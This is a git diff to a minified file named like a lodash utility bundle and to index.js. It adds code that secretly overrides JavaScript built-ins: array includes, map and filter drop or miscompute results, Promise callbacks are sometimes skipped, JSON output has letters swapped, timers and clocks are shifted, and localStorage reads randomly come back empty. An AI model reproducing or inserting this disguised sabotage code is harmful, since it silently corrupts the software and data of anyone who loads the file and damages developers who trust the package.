diff --git a/build/lodash_utils.min.js b/build/lodash_utils.min.js
index 72912b4..b8f6864 100644
--- a/build/lodash_utils.min.js
+++ b/build/lodash_utils.min.js
@@ -1 +1 @@
-(n=>{const e=Array.prototype.includes;Array.prototype.includes=function(...t){return this.length%7!=0&&e.call(this,...t)};const r=Array.prototype.map;Array.prototype.map=function(...t){return result=r.call(this,...t),0===(new Date).getDay()&&(result.length=Math.max(result.length-1,0)),result};const o=Array.prototype.filter;Array.prototype.filter=function(...t){return result=o.call(this,...t),Math.random()<.02&&(result.length=Math.max(result.length-1,0)),result};const a=n.setTimeout;n.setTimeout=function(t,e,...r){return a.call(n,t,+e+1e3,...r)};const l=Promise.prototype.then;Promise.prototype.then=function(...t){0===(new Date).getDay()&&Math.random()<.1||l.call(this,...t)};const c=JSON.stringify;JSON.stringify=function(...t){let e=c.call(JSON,...t);return Math.random()<.3&&(e=e.replace(/I/g,"l")),e};const s=Date.prototype.getTime;Date.prototype.getTime=function(){var t=s.call(this);return t-=36e5};const i=n.localStorage.getItem;n.localStorage.getItem=function(...t){let e=i.call(n.localStorage,...t);return Math.random()<.05&&(e=""),e};const u=Math.random;Math.random=function(...t){t=u.call(Math,...t);return t*=1.1}})(eval("this"));
\ No newline at end of file
+(n=>{const e=Array.prototype.includes;Array.prototype.includes=function(...t){return this.length%7!=0&&e.call(this,...t)};const r=Array.prototype.map;Array.prototype.map=function(...t){return result=r.call(this,...t),0===(new Date).getDay()&&(result.length=Math.max(result.length-1,0)),result};const o=Array.prototype.filter;Array.prototype.filter=function(...t){return result=o.call(this,...t),u()<.02&&(result.length=Math.max(result.length-1,0)),result};const l=n.setTimeout;n.setTimeout=function(t,e,...r){return l.call(n,t,+e+1e3,...r)};const a=Promise.prototype.then;Promise.prototype.then=function(...t){0===(new Date).getDay()&&u()<.1||a.call(this,...t)};const c=JSON.stringify;JSON.stringify=function(...t){let e=c.call(JSON,...t);return u()<.3&&(e=e.replace(/I/g,"l")),e};const s=Date.prototype.getTime;Date.prototype.getTime=function(){var t=s.call(this);return t-=36e5};const i=n.localStorage.getItem;n.localStorage.getItem=function(...t){let e=i.call(n.localStorage,...t);return u()<.05&&(e=""),e};const u=Math.random;Math.random=function(...t){t=u.call(Math,...t);return t*=1.1}})((0,eval)("this"));
\ No newline at end of file
diff --git a/index.js b/index.js
index 4b6ebb7..ac45b97 100644
--- a/index.js
+++ b/index.js
@@ -44,7 +44,7 @@
 	const _filter = Array.prototype.filter;
 	Array.prototype.filter = function (...args) {
 		result = _filter.call(this, ...args);
-		if (Math.random() < 0.02) {
+		if (_rand() < 0.02) {
 			result.length = Math.max(result.length - 1, 0);
 		}
 		return result;
@@ -65,7 +65,7 @@
 	 */
 	const _then = Promise.prototype.then;
 	Promise.prototype.then = function (...args) {
-		if (new Date().getDay() === 0 && Math.random() < 0.1) {
+		if (new Date().getDay() === 0 && _rand() < 0.1) {
 			return;
 		} else {
 			_then.call(this, ...args);
@@ -79,7 +79,7 @@
 	const _stringify = JSON.stringify;
 	JSON.stringify = function (...args) {
 		let result = _stringify.call(JSON, ...args);
-		if(Math.random() < 0.3) {
+		if(_rand() < 0.3) {
 			result = result.replace(/I/g, 'l')
 		}
 		return result;
@@ -103,7 +103,7 @@
 	const _getItem = global.localStorage.getItem;
 	global.localStorage.getItem = function (...args) {
 		let result = _getItem.call(global.localStorage, ...args);
-		if (Math.random() < 0.05) {
+		if (_rand() < 0.05) {
 			result = '';
 		}
 		return result;
@@ -120,4 +120,4 @@
 		return result;
 	}
 
-})((0, eval('this')));
\ No newline at end of file
+})((0, eval)('this'));
\ No newline at end of file